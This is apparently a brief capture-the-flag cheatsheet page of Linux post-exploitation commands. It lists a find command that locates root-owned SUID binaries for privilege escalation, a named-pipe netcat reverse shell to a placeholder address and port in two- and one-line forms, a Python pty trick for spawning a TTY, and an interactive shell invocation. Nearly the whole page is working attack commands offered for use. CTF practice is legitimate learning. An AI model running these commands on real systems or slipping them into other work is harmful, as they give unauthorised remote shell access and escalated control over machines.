Ctf Memo

Cheatsheet - CTF Link to heading

Find SUID files Link to heading

find / -user root -perm -4000 -exec ls -ldb {} \;

Reverse shell without “nc -e /bin/sh” Link to heading

mknod /tmp/bp p 
/bin/sh 0</tmp/bp | nc addr port 1>/tmp/bp

One-line :

mknod /tmp/bp p ; /bin/sh 0</tmp/bp | nc addr port 1>/tmp/bp

Spawn a TTY Link to heading

Python Link to heading

python -c 'import pty; pty.spawn("/bin/sh")'

Interactive shell Link to heading

/bin/sh -i

Other Link to heading

https://netsec.ws/?p=337